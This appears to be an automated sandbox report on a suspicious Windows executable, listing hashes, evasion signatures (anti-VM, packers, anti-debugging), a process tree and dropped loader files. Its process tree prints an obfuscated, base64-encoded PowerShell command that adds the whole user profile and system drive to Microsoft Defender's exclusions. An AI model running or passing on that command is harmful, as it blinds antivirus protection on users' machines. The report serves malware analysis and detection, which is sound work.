Analysis

  • max time kernel
    117s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    15/07/2023, 22:08

General

  • Target

    protmepls_BUT_BETTER_.exe

  • Size

    15.7MB

  • MD5

    3b175c33f73bcf59abb1b2b50fed49de

  • SHA1

    13145dc1dfa3e6e6f1b762f8a016c298d3de744b

  • SHA256

    dcfbfc44d17764159537d568afbe19e7bd981f08888c1e9fce9024a993858c28

  • SHA512

    c3f59ef7f099c06e7d5bb45b72e8f206153c0e45b487eb8b6b801542bf6845aa5ee54c1e4800801e503c477cc7068593a95cc37cd410dd8e021cbf948ba83deb

  • SSDEEP

    393216:5kLHj6tecPWNYP/VaMHAojfY4L4wAqvHV1opGH3u7n0dFsg0QQe+GrJG7bmxbo6:5ej6tenu/Pgojw8iqfTopL7yFaVe+GkW

Malware Config

Signatures

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Obfuscated with Agile.Net obfuscator 3 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\protmepls_BUT_BETTER_.exe
    "C:\Users\Admin\AppData\Local\Temp\protmepls_BUT_BETTER_.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Loads dropped DLL
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of WriteProcessMemory
    PID:924
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAbQBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AdwBhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdQBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAaABxACMAPgA="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1500
    • C:\Users\Admin\protmepls.exe
      "C:\Users\Admin\protmepls.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2108
      • C:\Users\Admin\AppData\Local\Temp\protmepls_1a292930-93cd-4359-8cae-971b56d16345\OMM Loader.exe
        "C:\Users\Admin\AppData\Local\Temp\protmepls_1a292930-93cd-4359-8cae-971b56d16345\OMM Loader.exe"
        3⤵
        • Executes dropped EXE
        PID:836

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\protmepls_1a292930-93cd-4359-8cae-971b56d16345\OMM Loader.exe

          Filesize

          144KB

          MD5

          4b07d4daa90e051ca065e497c8d21346

          SHA1

          248cce5809f7dbde17402ecb36bced1b071f9972

          SHA256

          70795c1cda206491cafa049ad16bb7def36c08462e9133e7cea2ed55f1e61848

          SHA512

          0c765fd2d67fe215942b838acd27f23298645eed56acc73dce75f721501f5fa8b89e37a3303b6ce2a6a1f111885e8d28a280cfb985d1b6521698a7bb77622545

        • C:\Users\Admin\protmepls.exe

          Filesize

          21.3MB

          MD5

          1bc9df12a338938019d8a42237566b5f

          SHA1

          4a1139848239d0fab1a07d2e328dc3732b92bdab

          SHA256

          f8759733e825b911c48356f73a1c4fe1b703ecad786a773a8963c4eeff4afc94

          SHA512

          506b56b43d271f38eba4612f8310ee1ec2ccb413e105a4cd493165aa975e0431900eef0be0eaa25d01081b9ce8117121e08ebdd0cde47178a7560afd6161e465

        • C:\Users\Admin\protmepls.exe

          Filesize

          21.3MB

          MD5

          1bc9df12a338938019d8a42237566b5f

          SHA1

          4a1139848239d0fab1a07d2e328dc3732b92bdab

          SHA256

          f8759733e825b911c48356f73a1c4fe1b703ecad786a773a8963c4eeff4afc94

          SHA512

          506b56b43d271f38eba4612f8310ee1ec2ccb413e105a4cd493165aa975e0431900eef0be0eaa25d01081b9ce8117121e08ebdd0cde47178a7560afd6161e465

        • \Users\Admin\AppData\Local\Temp\protmepls_1a292930-93cd-4359-8cae-971b56d16345\OMM Loader.exe

          Filesize

          144KB

          MD5

          4b07d4daa90e051ca065e497c8d21346

          SHA1

          248cce5809f7dbde17402ecb36bced1b071f9972

          SHA256

          70795c1cda206491cafa049ad16bb7def36c08462e9133e7cea2ed55f1e61848

          SHA512

          0c765fd2d67fe215942b838acd27f23298645eed56acc73dce75f721501f5fa8b89e37a3303b6ce2a6a1f111885e8d28a280cfb985d1b6521698a7bb77622545

        • \Users\Admin\AppData\Local\Temp\protmepls_1a292930-93cd-4359-8cae-971b56d16345\OMM Loader.exe

          Filesize

          144KB

          MD5

          4b07d4daa90e051ca065e497c8d21346

          SHA1

          248cce5809f7dbde17402ecb36bced1b071f9972

          SHA256

          70795c1cda206491cafa049ad16bb7def36c08462e9133e7cea2ed55f1e61848

          SHA512

          0c765fd2d67fe215942b838acd27f23298645eed56acc73dce75f721501f5fa8b89e37a3303b6ce2a6a1f111885e8d28a280cfb985d1b6521698a7bb77622545

        • \Users\Admin\AppData\Local\Temp\protmepls_1a292930-93cd-4359-8cae-971b56d16345\OMM Loader.exe

          Filesize

          144KB

          MD5

          4b07d4daa90e051ca065e497c8d21346

          SHA1

          248cce5809f7dbde17402ecb36bced1b071f9972

          SHA256

          70795c1cda206491cafa049ad16bb7def36c08462e9133e7cea2ed55f1e61848

          SHA512

          0c765fd2d67fe215942b838acd27f23298645eed56acc73dce75f721501f5fa8b89e37a3303b6ce2a6a1f111885e8d28a280cfb985d1b6521698a7bb77622545

        • \Users\Admin\protmepls.exe

          Filesize

          21.3MB

          MD5

          1bc9df12a338938019d8a42237566b5f

          SHA1

          4a1139848239d0fab1a07d2e328dc3732b92bdab

          SHA256

          f8759733e825b911c48356f73a1c4fe1b703ecad786a773a8963c4eeff4afc94

          SHA512

          506b56b43d271f38eba4612f8310ee1ec2ccb413e105a4cd493165aa975e0431900eef0be0eaa25d01081b9ce8117121e08ebdd0cde47178a7560afd6161e465

        • memory/924-54-0x0000000000400000-0x0000000001F4A000-memory.dmp

          Filesize

          27.3MB

        • memory/924-55-0x00000000778A0000-0x00000000778A2000-memory.dmp

          Filesize

          8KB

        • memory/924-56-0x0000000000400000-0x0000000001F4A000-memory.dmp

          Filesize

          27.3MB

        • memory/924-62-0x0000000000400000-0x0000000001F4A000-memory.dmp

          Filesize

          27.3MB

        • memory/1500-97-0x00000000001D0000-0x0000000000210000-memory.dmp

          Filesize

          256KB

        • memory/1500-72-0x0000000072230000-0x00000000727DB000-memory.dmp

          Filesize

          5.7MB

        • memory/1500-73-0x00000000001D0000-0x0000000000210000-memory.dmp

          Filesize

          256KB

        • memory/1500-74-0x00000000001D0000-0x0000000000210000-memory.dmp

          Filesize

          256KB

        • memory/1500-71-0x0000000072230000-0x00000000727DB000-memory.dmp

          Filesize

          5.7MB

        • memory/1500-177-0x0000000072230000-0x00000000727DB000-memory.dmp

          Filesize

          5.7MB

        • memory/2108-70-0x0000000000400000-0x0000000000424000-memory.dmp

          Filesize

          144KB

        • memory/2108-67-0x0000000004A00000-0x0000000004A40000-memory.dmp

          Filesize

          256KB

        • memory/2108-66-0x0000000074230000-0x000000007491E000-memory.dmp

          Filesize

          6.9MB

        • memory/2108-65-0x0000000000900000-0x0000000000984000-memory.dmp

          Filesize

          528KB

        • memory/2108-178-0x0000000074230000-0x000000007491E000-memory.dmp

          Filesize

          6.9MB

        • memory/2108-179-0x0000000004A00000-0x0000000004A40000-memory.dmp

          Filesize

          256KB